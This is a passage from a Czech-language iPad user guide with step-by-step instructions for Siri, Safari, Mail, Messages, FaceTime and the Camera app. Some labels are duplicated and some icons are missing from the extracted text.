premiéru, kdo jej režíroval a jaká ocenění film získal. Siri vám udá polohu kina, zobrazí časy představení a hodnocení na serveru Rotten Tomato. Zobrazení podrobných informací o filmu:  Klepněte na film, který vám Siri doporučí. Podívejte se na upoutávku. Podívejte se na upoutávku. Přečtěte si recenze na stránkách Rotten Tomato. Přečtěte si recenze na stránkách Rotten Tomato.Kapitola 4 Siri 41 Sport Siri toho o sportu ví opravdu hodně, včetně baseballu, basketbalu, fotbalu a hokeje. Zeptejte se Siri na časy utkání, skóre z her v letošní lize nebo aktuální skóre v právě probíhajících zápasech. Požádejte Siri o statistiky hráčů a jejich vzájemné porovnání. Siri má přehled i o týmových záznamech. Následuje několik příkladů toho, na co se můžete zeptat: • „What was the score of the last Giants game?“ • „What are the National League standings?“ • „When is the Chicago Cubs first game of the season?“ Diktování Je-li Siri zapnutá, můžete jí také diktovat text. Viz Diktování na stránce 26. I když můžete vytvořit e-mail, textovou zprávu nebo jiný text přímou komunikací se Siri, můžete také upřednostnit diktování. Při diktování můžete zprávu upravit, namísto nahrazení celého textu. Při diktování máte také více času promyslet si, co píšete. Siri obvykle odmlky chápe tak, že jste svou řeč pro daný okamžik ukončili, a využije příležitosti k vlastní reakci. Ačkoli tato funkce umožňuje se Siri přirozeně konverzovat, může se stát, že vás při delší pomlce Siri přeruší. V režimu diktování se naopak můžete odmlčet na libovolně dlouhou dobu a pokračovat až poté, co si utřídíte myšlenky. Můžete také nejprve vytvořit text pomocí Siri a poté pokračovat v režimu diktování. Příklad: Můžete vytvořit e-mail pomocí Siri a poté koncept e-mailu klepnutím otevřít v aplikaci Mail. V aplikaci Mail můžete zprávu dokončit nebo upravit a provést případně další změny, jako je například přidání nebo odebrání adresátů, kontrola předmětu e-mailu nebo změna účtu, ze kterého e-mail odesíláte. Oprava služby Siri Když má Siri potíže Je možné, že někdy bude mít Siri potíže vám porozumět, například v hlučném prostředí. Mluvíte-li s přízvukem, může službě Siri trvat určitou dobu, než si na vaši dikci zvykne. Pokud vás neslyší dobře, můžete rozpoznaný text opravit. Siri zobrazí rozpoznaný text spolu se svou odpovědí. Oprava textu, který Siri slyšela: Klepněte na bublinu s textem, který vás Siri slyšela říkat. Přepište požadavek nebo klepněte na na klávesnici a diktujte. Informace o použití diktování viz Diktování na stránce 26. Jsou-li některé části textu podtrženy modře, klepněte na ně a Siri navrhne alternativní možnosti. Klepněte na některý z návrhů nebo nahraďte text psaním nebo diktováním. Oprava Siri hlasem: Klepněte na a poté zopakujte nebo upřesněte svůj požadavek. Příklad: „I meant Boston.“ Při opravě Siri neříkejte, co jste nechtěli říci – ale jednoduše řekněte, co jste říci chtěli. Oprava poštovní nebo textové zprávy: Dotáže-li se Siri, zda chcete odeslat zprávu, můžete odpovědět například: • „Change it to: Call me tomorrow. • „Add: See you there question mark.“Kapitola 4 Siri 42 • „No, send it to Bob.“ • „No.“ (Zpráva bude zachována, ale neodešle se.) • „Cancel.“ Chcete-li, aby vám Siri zprávu zopakovala, řekněte například „Read it back to me“ nebo „Read me the message“. Je-li zpráva v pořádku, řekněte například: „Yes, send it.“ Hlučná prostředí V hlučném prostředí si přidržujte iPad blízko u úst, ale nemluvte přímo do dolní části přístroje. Nadále vyslovujte jasně a přirozeně. Po skončení promluvy klepněte na . Připojení k síti Siri vás může informovat, že má potíže s připojením k síti. Vzhledem k tomu, že Siri pro rozpoznávání hlasu využívá servery Apple a další služby, potřebujete připojení k Internetu pomocí mobilní datové sítě 3G, 4G, LTE nebo Wi-Fi. 5 43 Safari nabízí tyto funkce: • Čtečka – umožňuje číst články bez reklam a rušivých prvků • Seznam četby – sbírka článků, které si chcete přečíst později • Celoobrazovkový režim – při prohlížení webových stránek v orientaci na šířku Díky iCloudu si můžete prohlížet stránky, které jste původně otevřeli na jiných zařízeních, a průběžně aktualizovat záložky a seznam četby na všech svých zařízeních. Zobrazení záložek, historie nebo seznamu četby Zobrazení záložek, historie nebo seznamu četby Otevření nové stránky Otevření nové stránky Hledání na webu a na aktuální stránce Hledání na webu a na aktuální stránce Zadejte webovou adresu (URL). Zadejte webovou adresu (URL). Dvojím klepnutím na položku a sevřením prstů docílíte zvětšení nebo zmenšení. Dvojím klepnutím na položku a sevřením prstů docílíte zvětšení nebo zmenšení. Zobrazení webové stránky:  Klepněte na pole adresy (v titulním řádku), zadejte URL a klepněte na Otevřít. • Posouvání webové stránky: Táhněte nahoru, dolů nebo do stran. • Posouvání v rámečku: Táhněte dvěma prsty uvnitř rámečku. • Nové načtení webové stránky: Klepněte na v poli adresy. Zavření webové stránky:  Klepněte na na panelu stránky. Zobrazení jiné webové stránky, jež jste otevřeli: Klepněte na panel u horního okraje stránky. Opětovné otevření nedávno zavřené stránky:  Přidržte a klepněte na položku v seznamu. SafariKapitola 5 Safari 44 Zobrazení webových stránek, které jste otevřeli na jiných zařízeních:  Klepněte na . Chcete-li pomocí funkce Panely na iCloudu sdílet se svými ostatními zařízeními webové stránky, jež jste otevřeli na zařízení iPad, otevřete Nastavení > iCloud a zapněte volbu Safari. Následování odkazu na webové stránce:  Klepněte na odkaz. • Zobrazení cílové adresy odkazu: Dotkněte se a přidržte prst na odkazu. • Otevření odkazu na nové záložce: Dotkněte se odkazu, podržte prst na místě a pak klepněte na „Otevřít na novém panelu“. Jako odkazy se mohou na webových stránkách zobrazovat také detekovaná data, například telefonní čísla a e-mailové zprávy. Dotknete-li se odkazu a podržíte prst na místě, zobrazí se dostupné volby. Zobrazení článku ve Čtečce: Klepněte na tlačítko Čtečka v poli adresy, pokud je zde zobrazeno. • Nastavení velikosti písma: Klepněte na . • Sdílení článku:  Klepněte na . Poznámka:  Když odešlete článek z Čtečky e-mailem, bude dodatečně k odkazu na článek odeslána i jeho fulltextová verze. • Návrat do normálního zobrazení: Klepněte na tlačítko Čtečka. Do seznamu četby můžete přidávat webové stránky, které chcete navštívit později. • Přidání aktuální webové stránky: Klepněte na a poté klepněte na „Přidat do seznamu četby“. Na zařízení iPad 2 a novějších se společně s odkazem ukládá i webová stránka, takže si ji můžete přečíst, i když nejste připojeni k Internetu. • Přidání cíle odkazu: Dotkněte se odkazu, podržte na něm prst a poté klepněte na „Přidat do seznamu četby“. • Zobrazení vašeho seznamu četby: Klepněte na a poté na . • Smazání položky ze seznamu četby:  Přejeďte přes položku a poté klepněte na Smazat. Vyplnění formuláře: Klepnutím na textové pole vyvolejte klávesnici. • Přechod do jiného textového pole: Klepněte do dalšího textového pole nebo klepněte na tlačítko Následující nebo Předchozí. • Odeslání formuláře: Klepněte na Přejít nebo Hledat nebo na odkaz na webové stránce, který slouží k odeslání formuláře. • Povolení funkce automatického vyplňování: Otevřete Nastavení > Safari > Vyplňování. Hledání na webu, na aktuální webové stránce nebo v PDF souboru s možností prohledávání:  Zadejte text do pole hledání. • Hledání na webu: Klepněte na některý ze zobrazených návrhů nebo na tlačítko Hledat. • Hledání textu na aktuální webové stránce nebo v PDF souboru: Posuňte obrazovku na konec a poté klepněte na položku pod textem Na této stránce. Bude zvýrazněn první výskyt hledaného textu. Chcete-li najít další výskyty, klepněte na . Přidání záložky pro aktuální webovou stránku:  Klepněte na tlačítko a poté na Záložka. Při ukládání záložky můžete upravit její název. Ve výchozím nastavení jsou záložky ukládány na nejvyšší úroveň složky Záložky. Chcete-li vybrat jinou složku, klepněte na Záložky. Zobrazení panelu záložek: Klepněte na pole adresy. Chcete-li panel záložek zobrazit trvale, vyberte Nastavení > Safari v části Obecné.Kapitola 5 Safari 45 Vytvoření ikony na ploše: Klepněte na a poté na „Přidat na plochu“. Safari přidá na plochu ikonu aktuální webové stránky. Pokud nemá webová stránka vlastní ikonu, bude tentýž obrázek použit také jako ikona webového klipu na ploše. Webové klipy jsou zálohovány pomocí iCloudu a iTunes, ale nejsou odesílány přes iCloud do dalších zařízení ani synchronizovány pomocí iTunes. Aktualizace záložek a seznamu četby ve vašich ostatních zařízeních pomocí iCloudu: Otevřete Nastavení > iCloud a poté zapněte volbu Safari. Viz Použití iCloudu na stránce 15. Nastavení voleb pro Safari: Otevřete Nastavení > Safari. Volby zahrnují: • Vyhledávací službu • Automatické vyplňování formulářů • Otvírání odkazů na nové stránce nebo na pozadí • Anonymní prohlížení na ochranu soukromí a blokování funkcí některých webových stránek sledujících vaše aktivity na Internetu • Vymazání historie, cookies a dat • Mobilní datové připojení pro Seznam četby • Varování před podvodnými stránkami6 46 Čtení pošty Napsání zprávy Napsání zprávy Změna schránek nebo účtů Změna schránek nebo účtů Smazání, Přesunutí nebo označení více zpráv Smazání, Přesunutí nebo označení více zpráv Prohledání schránky Prohledání schránky V Nastavení > Pošta, kontakty, kalendáře můžete změnit velikost náhledu V Nastavení > Pošta, kontakty, kalendáře můžete změnit velikost náhledu Označení zprávy příznakem nebo jako nepřečtené: Klepněte na . Chcete-li označit více zpráv najednou, klepněte při prohlížení seznamu zpráv na Upravit. Identifikace zpráv, určených speciálně vám: Otevřete Nastavení > Pošta, kontakty, kalendáře a poté zapněte nebo vypněte volbu Zobrazit Komu/Kopie. Zprávy obsahující vaši adresu v poli Komu nebo Kopie jsou v seznamu zpráv označeny ikonou. Zobrazení všech adresátů zprávy: V poli Od klepněte na Vše. Chcete-li zobrazit kontaktní údaje příjemce, přidat jej do Kontaktů nebo seznamu VIP, klepněte na jeho jméno nebo e-mailovou adresu. Vypnutí stahování obrázků: Otevřete Nastavení > Pošta, kontakty, kalendáře a poté zapněte nebo vypněte volbu Načíst obrázky. Otevření odkazu: Chcete-li s odkazem provést výchozí akci, klepněte na něj. Dotykem a přidržením zobrazíte další akce. U adresy můžete například zobrazit příslušné místo na mapě nebo adresu přidat do kontaktů. Webový odkaz můžete přidat do Seznamu četby. MailKapitola 6 Mail 47 Otevření pozvánky ke schůzce nebo přílohy: Klepněte na položku. Pokud lze přílohu použít ve více aplikacích, můžete na ní podržet prst a vybrat aplikaci, v níž chcete se souborem pracovat. Uložení přiložené fotografie nebo videa: Dotkněte se fotografie nebo videa, přidržte na nich prst a poté klepněte na Uložit obrázek nebo Uložit video. Položka bude uložena do vašeho alba Fotoaparát v aplikaci Obrázky. Načtení nových zpráv: Aktualizujte seznam zpráv nebo schránek přetažením směrem dolů. • Nastavení počtu starších načtených zpráv: Otevřete Nastavení > Pošta, kontakty, kalendáře > Zobrazit. Vypnutí oznamování nových zpráv v účtu: Otevřete Nastavení > Oznámení > Mail > název účtu a poté vypněte Oznamovací centrum. Změna zvuků přehrávaných aplikací Mail: Otevřete Nastavení > Zvuk. • Změna zvuku přehrávaného při přijetí nové pošty v jednotlivých účtech: Otevřete Nastavení > Oznámení > Mail > název účtu > Zvuk nové pošty. • Změna zvuku přehrávaného při přijetí nové pošty od VIP kontaktu: Otevřete Nastavení > Oznámení > Pošta > VIP > Zvuk nové pošty. Odeslání e-mailu V Nastavení > Pošta, kontakty, kalendáře můžete změnit svůj podpis. V Nastavení > Pošta, kontakty, kalendáře můžete změnit svůj podpis. Po klepnutí můžete upravit pole Od, Kopie nebo Skrytá kopie. Po klepnutí můžete upravit pole Od, Kopie nebo Skrytá kopie. Sestavení zprávy: Klepněte na a poté zadejte jméno nebo e-mailovou adresu. Po zadání můžete příjemce tažením přesouvat mezi jednotlivými poli, například z pole Komu do pole Kopie. Pokud máte více poštovních účtů, můžete klepnout na Od a změnit účet, z kterého zprávu odesíláte. Automatické zasílání skrytých kopií odesílaných zpráv na vlastní adresu: Otevřete Nastavení > Pošta, kontakty, kalendáře > Skrytá kopie sobě. Uložení konceptu zprávy: Klepněte na Zrušit a poté na Uložit koncept. Přidržením tlačítka zobrazíte uložené koncepty zpráv. Odpověď na zprávu: Klepněte na a poté na Odpovědět. Soubory a obrázky přiložené k původní zprávě nebudou poslány zpět. Chcete-li přílohy zahrnout, neodpovídejte na zprávu, ale předejte ji dál.Kapitola 6 Mail 48 Předání zprávy: Otevřete zprávu, klepněte na a poté na Přesměrovat. Se zprávou budou předány i její přílohy. Citování části zprávy, na kterou odpovídáte nebo nebo kterou předáváte: Dotykem a přidržením vyberte text. Tažením úchytů vyberte text, který chcete zahrnout do své odpovědi, a poté klepněte na . • Změna úrovně odsazení: Otevřete text, který chcete odsadit, minimálně dvakrát klepněte na a poté klepněte na volbu Úroveň citace. • Automatické zvýšení úrovně citace: Vyberte Nastavení > Pošta, kontakty, kalendáře a aktivujte volbu Zvýšit úroveň citace. Odeslání fotografie nebo videa ve zprávě: Klepnutím na kurzor zobrazte tlačítka výběru, poté klepněte na Vložit fotografii/video a vyberte fotografii nebo video z některého alba. K odeslání více fotografií e-mailem můžete také použít aplikaci Obrázky. Viz Sdílení fotografií a videí na stránce 62. Změna podpisu zpráv: Otevřete Nastavení > Pošta, kontakty, kalendáře > Podpis. V případě, že máte více poštovních účtů, můžete po klepnutí na tlačítko „Na účet“ zadat různé podpisy pro jednotlivé účty. Uspořádání pošty Zobrazení zpráv od VIP: Přejděte do seznamu schránek (klepnutím na Schránky) a poté klepněte na VIP. • Přidání osoby do seznamu VIP: Klepněte na jméno osoby nebo na její adresu v poli OD, Komu nebo Kopie/Skrytá kopie a poté klepněte na Přidat k VIP. Seskupení souvisejících zpráv: Otevřete Nastavení > Pošta, kontakty, kalendáře a poté zapněte nebo vypněte volbu Uspořádat do vláken. Hledání ve zprávách: Otevřete některou schránku a poté zadejte text do vyhledávacího pole. V aktuálně otevřené schránce můžete prohledávat pole Od, Komu nebo Předmět. V případě poštovních účtů, které podporují prohledávání zpráv na serveru, můžete klepnutím na Vše prohledávat pole Od, Komu, Předmět i text zpráv. Smazání zprávy: Je-li zpráva otevřená, klepněte na . • Smazání zprávy bez jejího otevření: Přejeďte přes název zprávy a poté klepněte na Smazat. • Smazání více zpráv najednou: Při prohlížení seznamu zpráv klepněte na Upravit. • Vypnutí potvrzení před smazáním: Otevřete Nastavení > Pošta, kontakty, kalendáře > Dotaz před smazáním. Obnovení zprávy: Otevřete schránku Koš, otevřete zprávu, klepněte na a poté přesuňte zprávu do schránky Příchozí v daném účtu nebo do jiné složky. • Nastavení doby, po kterou jsou smazané zprávy uschovány v Koši před definitivním odstraněním: Otevřete Nastavení > Pošta, kontakty, kalendáře > název účtu > Účet > Ostatní. Zapnutí nebo vypnutí archivování: Otevřete Nastavení > Pošta, kontakty, kalendáře > název účtu > Účet > Ostatní. Při archivování se zpráva přesune do schránky Všechna pošta. Ne všechny účty archivování podporuj. Přesunutí zprávy do jiné schránky: Při prohlížení zprávy klepněte na a poté vyberte cílové umístění. Přidání, přejmenování nebo smazání schránky: V seznamu schránek klepněte na Upravit. Některé schránky není možné přejmenovat ani smazat.Kapitola 6 Mail 49 Tisk zpráv a příloh Tisk zprávy:  Klepněte na a poté na Tisknout. Tisk vloženého obrázku: Dotkněte se a přidržte prst na obrázku a poté klepněte na Uložit obrázek. Poté otevřete Obrázky a vytiskněte obrázek ze svého alba Fotoaparát. Tisk přílohy: Klepnutím otevřete přílohu v Rychlém náhledu a poté klepněte na a na Tisknout. Více informací viz Tisk pomocí funkce AirPrint na stránce 31. Poštovní účty a nastavení Změna nastavení Mailu a poštovních účtů: Otevřete Nastavení > Pošta, kontakty, kalendáře. Nastavit můžete: • iCloud • Microsoft Exchange a Outlook • Google • Yahoo! • AOL • Microsoft Hotmail • Další účty POP a IMAP Použité položky nastavení závisí na typu nastavovaného účtu. Požadované údaje vám může poskytnout váš poskytovatel internetových služeb nebo správce systému. Dočasné přerušení používání účtu: Otevřete Nastavení > Pošta, kontakty, kalendáře, vyberte účet a vypněte v něm doručování pošty. Pokud je služba vypnuta, iPad její data nezobrazí a nesynchronizuje, dokud ji znovu nezapnete. Tímto způsobem lze například snadno zastavit příjem pracovních e-mailů po dobu, kdy jste na dovolené. Smazání účtu: Otevřete Nastavení > Pošta, kontakty, kalendáře, vyberte účet, posuňte zobrazení dolů a klepněte na Smazat účet. Odstraněny budou všechny informace synchronizované s daným účtem, například záložky, pošta a poznámky. Nastavení voleb funkce Push: Otevřete Nastavení > Pošta, kontakty, kalendáře > Doručování dat. Funkce Push vyzvedává při aktivním připojení k Internetu nová data, kdykoli se objeví na serveru (může dojít k prodlevám). Je-li funkce Push vypnuta, můžete nastavením funkce Vyzvedávání dat určit, jak často bude odesílána žádost o nová data. Nastavení, které vyberete zde, má přednost před individuálním nastavením účtu. Pro zachování životnosti baterie nevyzvedávejte data příliš často. Ne všechny účty funkci Push podporují. Odesílání podepsaných a šifrovaných zpráv: Vyberte Nastavení > Pošta, kontakty, kalendáře, vyberte účet a klepněte na Ostatní. Zapněte funkci S/MIME a poté extrahujte certifikáty pro podepisování a šifrování odchozích zpráv. Chcete-li instalovat certifikáty, obstarejte si od správce systému konfigurační profil a stáhněte certifikáty z webu vydavatele pomocí Safari nebo požádejte o jejich zaslání formou poštovních příloh.Kapitola 6 Mail 50 Nastavení dalších voleb: Otevřete Nastavení > Pošta, kontakty, kalendáře > název účtu > Účet > Ostatní. Volby závisí na typů účtu a mohou zahrnovat: • Ukládání konceptů, odeslaných a smazaných zpráv na iPadu • Nastavení doby, po kterou jsou uchovávány smazané zprávy před definitivním odstraněním. • Úprava nastavení poštovního serveru • Úprava nastavení SSL a hesla Pokud nevíte, jaké nastavení pro svůj účet použít, obraťte se na poskytovatele internetových služeb nebo správce systému.7 51 Odesílání a příjem zpráv VAROVÁNÍ:  Důležité informace o tom, jak se vyhnout rozptylování při řízení, najdete v části Důležité informace o bezpečnosti na stránce 132. Pomocí aplikace Zprávy a integrované služby iMessage můžete prostřednictvím Wi-Fi nebo mobilní datové sítě bez omezení odesílat textové zprávy jiným uživatelům zařízení se systémy iOS nebo OS X Mountain Lion. Zprávy mohou obsahovat fotografie, videa a další data. Vidíte, kdy lidé na druhé straně píšou, a můžete ostatním oznámit, že jste si přečetli jejich zprávy. Zprávy iMessage se zobrazují na všech zařízeních se systémem iOS 5 přihlášených ke stejnému účtu, takže můžete konverzaci zahájit z jednoho zařízení a pokračovat v ní na jiném zařízení. Zprávy iMessage jsou s ohledem na zachování soukromí šifrovány. Poznámka:  Mobilní datové služby mohou být zpoplatněny. Po klepnutí na tlačítko úprav můžete konverzaci upravit nebo přesměrovat. Po klepnutí na tlačítko úprav můžete konverzaci upravit nebo přesměrovat. Klepnutím na tlačítko sestavení zahájíte novou konverzaci. Klepnutím na tlačítko sestavení zahájíte novou konverzaci. Klepnutím na tlačítko připojení média můžete přidat fotografii nebo video. Klepnutím na tlačítko připojení média můžete přidat fotografii nebo video. Zahájení textové konverzace:  Klepněte na , potom na a vyberte kontakt, vyhledejte kontakty podle jména, které zadáte, nebo ručně zadejte telefonní číslo či e-mailovou adresu. Zadejte zprávu a poté klepněte na Odeslat. Poznámka:  Pokud zprávu nelze odeslat, zobrazí se výstraha . Klepněte na výstrahu a zobrazte další informace nebo se pokuste o nové odeslání zprávy. ZprávyKapitola 7 Zprávy 52 Obnovení konverzace: Klepněte na konverzaci v seznamu Zpráv. Skrytí klávesnice: Klepněte na v pravém dolním rohu. Použití obrázkových znaků: Vyberte Nastavení > Obecné > Klávesnice > Klávesnice > Přidat novou klávesnici a poté klepnutím aktivujte klávesnici Emodži. Při psaní zprávy pak klepnutím na otevřete klávesnici Emodži. Viz Speciální metody zadávání na stránce 130. Zobrazení kontaktních údajů některé osoby: Klepněte na . Posuňte informační panel k dolnímu okraji, kde najdete dostupné akce, například zahájení hovoru FaceTime. Zobrazení starších zpráv v konverzaci: Posuňte seznam na začátek (klepnutím na stavový řádek). V případě potřeby klepněte na Načíst starší zprávy. Zasílání zpráv skupině:  Klepněte na a poté zadejte více příjemců. Správa konverzací Vaše konverzace se ukládají do seznamu Zprávy. Modrá tečka označuje nepřečtené zprávy. Klepněte na konverzaci, kterou si chcete prohlédnout nebo v ní pokračovat. Přesměrování konverzace: Vyberte konverzaci, klepněte na , vyberte části, které chcete přidat, a klepněte na Přeposlat. Úpravy konverzace:  Vyberte konverzaci, klepněte na , vyberte části, které chcete přidat, a klepněte na Smazat. Chcete-li smazat veškerý text a přílohy, ale konverzaci zachovat, klepněte na Smazat vše. Smazání konverzace: V seznamu Zprávy přejeďte přes konverzaci a poté klepněte na Smazat. Hledání v konverzaci:  Posunutím seznamu Zprávy na začátek zobrazte vyhledávací pole a poté zadejte text. Konverzace můžete prohledávat také z plochy. Viz Hledání na stránce 27. Přidání osoby do seznamu kontaktů nebo sdílení kontaktu: Klepněte na telefonní číslo nebo e-mailovou adresu v seznamu zpráv a poté klepněte na . Odesílání fotografií, videa a dalšího obsahu Můžete odesílat fotografie, videa, místa, kontaktní údaje a hlasové záznamy. Limit velikosti příloh stanovuje váš poskytovatel služeb. iPad může fotografie a videa v přílohách podle potřeby komprimovat. Odeslání fotografie nebo videa:  Klepněte na . Odeslání údajů o poloze: V Mapách zobrazte polohu klepnutím na , klepněte na Sdílet polohu a potom na Zpráva. Odeslání kontaktních údajů: V Kontaktech vyberte kontakt, klepněte na Sdílet kontakt (pod sekcí Poznámky) a poté na Zpráva. Uložení fotografické přílohy nebo videopřílohy do alba Fotoaparát: Klepněte na fotografii nebo video, na a poté na Uložit obrázek. Zkopírování fotografie nebo videa: Dotkněte se a přidržte prst na příloze a poté klepněte na Kopírovat. Uložení obdržených kontaktních údajů: Klepněte na bublinu s kontaktem a poté na Vytvořit kontakt nebo Přidat ke kontaktu. Přidání osoby ze seznamu zpráv do seznamu kontaktů: Klepněte na telefonní číslo nebo e-mailovou adresu a poté na „Přidat do kontaktů“.Kapitola 7 Zprávy 53 Nastavení Zpráv Vyberete-li Nastavení > Zprávy, můžete nastavit volby Zpráv, k nimž patří: • Zapnutí nebo vypnutí služby iMessage • Zasílání oznámení o přečtení zpráv ostatním uživatelům • Určení telefonního čísla, Apple ID nebo e-mailové adresy, kterou chcete v aplikaci Zprávy používat • Zobrazení pole Předmět Správa oznamování pro zprávy: Viz Funkce Nerušit a Oznámení na stránce 119. Nastavení zvuku upozornění pro příchozí textové zprávy: Viz Zvuky na stránce 125.8 54 Na zařízení iPad 2 nebo novějším můžete použít FaceTime k zahajování videohovorů s jinými iOS zařízeními a počítači, které FaceTime podporují. Fotoaparát FaceTime umožňuje hovory „tváří v tvář“. Pokud chcete ostatním ukázat okolní prostředí, použijte fotoaparát iSight na zadní straně. Poznámka:  Funkce FaceTime nemusí být k dispozici ve všech oblastech. Na modelech iPad Wi-Fi + cellular je možné navazovat hovory FaceTime přes mobilní datovou síť. Mobilní datové služby mohou být zpoplatněny. Přetáhnete svůj obraz do libovolného rohu. Přetáhnete svůj obraz do libovolného rohu. Přepínání fotoaparátů Přepínání fotoaparátů Ztlumení (vy vidíte i slyšíte, volající vidí, ale neslyší) Ztlumení (vy vidíte i slyšíte, volající vidí, ale neslyší) Chcete-li používat FaceTime, potřebujete Apple ID a připojení k Internetu přes Wi-Fi. Když FaceTime otevřete, může se zobrazit výzva k přihlášení pomocí Apple ID nebo vytvoření nového účtu. Zahájení hovoru FaceTime: Klepněte na Kontakty, vyberte jméno a poté klepněte na telefonní číslo nebo e-mailovou adresu, které daná osoba používá pro FaceTime. Hovory FaceTime můžete zahajovat také z aplikace Kontakty. Rozhodněte se, zda chcete použít FaceTime v orientaci na šířku či na výšku, a otočte iPad do příslušné polohy. Chcete-li zabránit nechtěným změnám orientace, uzamkněte iPad v orientaci na výšku. Viz Orientace na výšku a na šířku na stránce 20. FaceTimeKapitola 8 FaceTime 55 Opakování nedávného hovoru: Klepněte na Historie a poté vyberte jméno nebo číslo. Použití Oblíbených položek: Klepněte na Oblíbené. • Přidání oblíbené položky: Klepněte na a vyberte kontakt. • Volání oblíbené osoby: Klepněte na jméno v seznamu. Přidání kontaktu: Klepněte na Kontakty, klepněte na a poté zadejte jméno osoby a e-mailovou adresu nebo telefonní číslo, které používá pro FaceTime. Při zadávání kontaktu mimo vaši oblast nezapomeňte zadat celé číslo, včetně místních předvoleb. Použití jiné aplikace během hovoru: Stiskněte tlačítko plochy a poté klepněte na ikonu aplikace. S volanou osobou můžete nadále hovořit, ale neuvidíte se. Chcete-li se vrátit k videu, klepněte na zelený řádek u horního okraje obrazovky. Nastavení voleb pro FaceTime: Otevřete Nastavení > FaceTime. K možnostem nastavení patří určení telefonního čísla, Apple ID nebo e-mailové adresy, kterou chcete v aplikaci FaceTime používat.9 56 V kostce Pokud máte iPad 2 nebo novější, můžete pořizovat fotografie i zaznamenávat videa. Dodatečně k fotoaparátu iSight na zadní straně máte k dispozici fotoaparát FaceTime na čelní straně pro hovory FaceTime a autoportréty. Zobrazení pořízených fotografií a videí Zobrazení pořízených fotografií a videí Spuštění nebo zastavení nahrávání videa Spuštění nebo zastavení nahrávání videa Přepínač Fotoaparát/Video Přepínač Fotoaparát/Video Na chvilku se zobrazí obdélník, který ukazuje, kam je fotoaparát zaostřen a jak je nastavena expozice. Při fotografování osob využívá iPad (3. generace) funkci detekce tváří, která automaticky zaostřuje až na 10 různých tváří a zároveň pro ně vyváží expozici. Na každé detekované tváři se zobrazí obdélník. Pořízení fotografie:  Klepněte na nebo stiskněte jedno z tlačítek hlasitosti. Chcete-li na obrazovce zobrazit mřížku, klepněte na Volby. • Zvětšení nebo zmenšení: Sevřete nebo rozevřete prsty na obrazovce (pouze fotoaparát iSight). Záznam videa:  Přepněte na a poté spusťte nebo zastavte záznam klepnutím na nebo stisknutím jednoho z tlačítek hlasitosti. Když pořídíte fotografii nebo spustíte záznam videa, iPad přehraje zvuk závěrky fotoaparátu. Hlasitost můžete ovládat pomocí tlačítek hlasitosti a postranního přepínače. FotoaparátKapitola 9 Fotoaparát 57 Poznámka:  V některých zemích není možné vypnutím zvuku zařízení iPad ztišit zvuk závěrky. Pokud jsou zapnuté polohové služby, jsou nově pořízené fotografie a videa opatřeny polohovými daty, která lze využívat v jiných aplikacích a na webových stránkách pro sdílení fotografií. Viz Soukromí na stránce 125. Nastavení ostření a expozice:   • Zaostření a nastavení expozice dalšího záběru: Klepněte na objekt na obrazovce. Detekce tváří je dočasně vypnuta. • Zámek ostření a expozice: Držte prst na obrazovce, dokud obdélník nezačne pulzovat. V dolní části obrazovky se objeví nápis Zámek AE/AF a ostření a expozice zůstanou uzamčeny, dokud na obrazovku neklepnete znovu. Pořízení snímku obrazovky: Stiskněte a uvolněte tlačítko Spánek/probuzení současně s tlačítkem plochy . Snímek obrazovky bude přidán do alba Fotoaparát. Poznámka:  Na zařízeních iPad bez fotoaparátu jsou snímky obrazovky přidávány do alba Uložené obrázky. Prohlížení, sdílení a tisk Fotografie a videa z Fotoaparátu se ukládají do vašeho alba Fotoaparát. Pokud máte v Nastavení > iCloud zapnutý Fotostream, budou se nové fotografie zobrazovat také ve vašem albu Fotostream a budou streamována do vašich ostatních zařízení iOS a počítačů. Viz Použití iCloudu na stránce 15 a Fotostream na stránce 60. Zobrazení vašeho alba Fotoaparát:  Přejeďte doprava nebo klepněte na miniaturu. Vaše album Fotoaparát můžete zobrazit také v aplikaci Obrázky. • Zobrazení nebo skrytí ovládacích prvků při zobrazení fotografií nebo videa: Klepněte na obrazovku. • Sdílení fotografie nebo videa: Klepněte na . Chcete-li odeslat více fotografií nebo videí, klepněte při prohlížení miniatur na , vyberte požadované položky a poté klepněte na Sdílet. • Tisk fotografie: Klepněte na . Viz Tisk pomocí funkce AirPrint na stránce 31. • Smazání fotografie nebo videa: Klepněte na . Návrat k fotoaparátu: Klepněte na Hotovo. Zkopírování fotografií a videí do počítače:  Připojte iPad k počítači. • Mac:  Vyberte fotografie a videa a poté klikněte na tlačítko Importovat nebo Stáhnout v iPhotu nebo jiné kompatibilní aplikaci ve vašem počítači. • PC:  Postupujte podle pokynů v dokumentaci fotoaparátu nebo foto aplikace. Pokud fotografie nebo videa po zkopírování do počítače ze zařízení iPad smažete, budou odstraněny z vašeho alba Fotoaparát. Pro synchronizaci fotografií a videa s aplikací Obrázky v zařízení iPad můžete použít panel Fotografie v iTunes (video lze synchronizovat pouze s Macem). Viz Synchronizace s iTunes na stránce 16.Kapitola 9 Fotoaparát 58 Úpravy fotografií a zkracování videa Automatické Oříznutí Oříznutí vylepšení Automatické vylepšení Otočení Otočení Oprava červených očí Oprava červených očí Úprava fotografie:  Při prohlížení fotografie na celé obrazovce klepněte na Upravit a poté klepněte na některý nástroj. • Automatické vylepšení: Vylepšením se rozumí optimalizace celkové světlosti nebo tmavosti fotografie, barevné sytosti a dalších parametrů. Pokud se rozhodnete úpravu nepoužít, klepněte na nástroj ještě jednou (funguje i v případě, že jste už změny uložili). • Oprava červených očí: Klepněte na každé oko, které chcete opravit. • Ořez: Přetáhnete rohy rámečku, tažením nastavte jeho polohu a poté klepněte na Oříznout. Chcete-li nastavit určitý poměr stran, klepněte na Poměr stran. Oříznutí videa:  Při prohlížení videa zobrazte klepnutím na obrazovku ovládací prvky. Tažením upravte konce videa v prohlížeči snímků na horním okraji videa a klepněte na Oříznout. Důležité:  Pokud vyberete Uložit originál, budou oříznuté snímky trvale smazány z původního videa. Pokud vyberete Uložit jako nový klip, bude oříznutý klip uložen jako nový klip do vašeho alba Fotoaparát a původní video zůstane nezměněné.10 59 Prohlížení fotografií a videí V aplikaci Obrázky si můžete na zařízení iPad prohlížet fotografie a videa z těchto zdrojů: • Album Fotoaparát – fotografie a videa, která jste pořídili pomocí zařízení iPad nebo uložili z e-mailu, textové zprávy, webové stránky nebo snímky obrazovky • Alba Fotostream – fotografie v albu Můj Fotostream a vašich sdílených fotostreamech (viz Fotostream na stránce 60) • Album Poslední import – fotografie a videa importovaná z digitálního fotoaparátu, zařízení iOS nebo paměťové karty SD (viz Import fotografií a videa na stránce 63) • Knihovna fotografií a další alba synchronizovaná z vašeho počítače (viz Synchronizace s iTunes na stránce 16) Poznámka:  Na zařízení iPad bez fotoaparátu je místo alba Fotoaparát k dispozici album Uložené obrázky. Vyberte fotografii, kterou 